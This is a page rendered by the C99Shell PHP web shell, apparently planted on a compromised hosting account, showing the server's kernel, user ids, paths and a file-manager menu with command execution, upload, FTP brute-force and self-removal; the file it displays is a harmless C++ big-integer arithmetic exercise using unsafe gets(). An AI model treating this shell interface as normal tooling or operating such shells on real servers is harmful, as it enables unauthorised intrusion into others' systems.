!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/inet-tech.org.ua/data/files/examples/2011/   drwxr-xr-x
Free 117.08 GB of 200.55 GB (58.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     olimp-bigint-1.cpp (1.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include<stdio.h>
#include<conio.h>
#include<string.h>
#include<stdlib.h>
#define MAXLEN 1000
void string_to_array(char *buf, int *arr)
{
   strrev(buf);
   arr[0] =  strlen(buf);
   for (int i = 0; i < arr[0]; i++)
      arr[i + 1] = buf[i] - '0';
}
void array_to_string(int *arr, char *buf)
{
   memset(buf, 0, MAXLEN * sizeof(char));
   for (int i = 1; i <= arr[0]; i++)
      buf[i - 1] = arr[i] + '0';
   buf[arr[0]] = 0;
   strrev(buf);
}
void mult(int *res, int *v1, int *v2)
{
   memset(res, 0, MAXLEN * sizeof(int));
   int maxlen = v1[0] + v2[0];
   for (int i = 1; i <= v2[0]; i++)
     for (int j = 1; j <= v1[0]; j++)
    res[i + j - 1] += v2[i] * v1[j];
   int pos = 0;
   for (i = 1; i <= maxlen; i++)
   {
      if (res[i] >= 10)
      {
    res[i + 1] += res[i] / 10;
    res[i] %= 10;
      }
      if (res[i] > 0)
    pos = i;
   }
   res[0] = pos;
}
void add(int *res, int *v1, int *v2)
{
   memset(res, 0, MAXLEN * sizeof(int));
   int maxlen = v1[0] > v2[0] ? v1[0] : v2[0];
   int f;
   for (int i = 1; i <= maxlen; i++)
   {
      res[i] += v1[i] + v2[i];
      if (res[i] >= 10)
      {
    if (i + 1 > maxlen)
        maxlen++;
    res[i + 1] += res[i] / 10;
    res[i] = res[i] % 10;
    f = 1;
      }
   }
   res[0] = maxlen;
}
int main()
{
  clrscr();
  char buf[MAXLEN] = {0};
  int v1[MAXLEN] = {0}, v2[MAXLEN] = {0}, res[MAXLEN] = {0};
  printf("v1=");
  gets(buf);
  string_to_array(buf, v1);
  printf("v2=");
  gets(buf);
  string_to_array(buf, v2);
  add(res, v1, v2);
  array_to_string(res, buf);
  printf("v1+v2=%s\n", buf);
  mult(res, v1, v2);
  array_to_string(res, buf);
  printf("v1*v2=%s", buf);
  return 0;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0112 ]--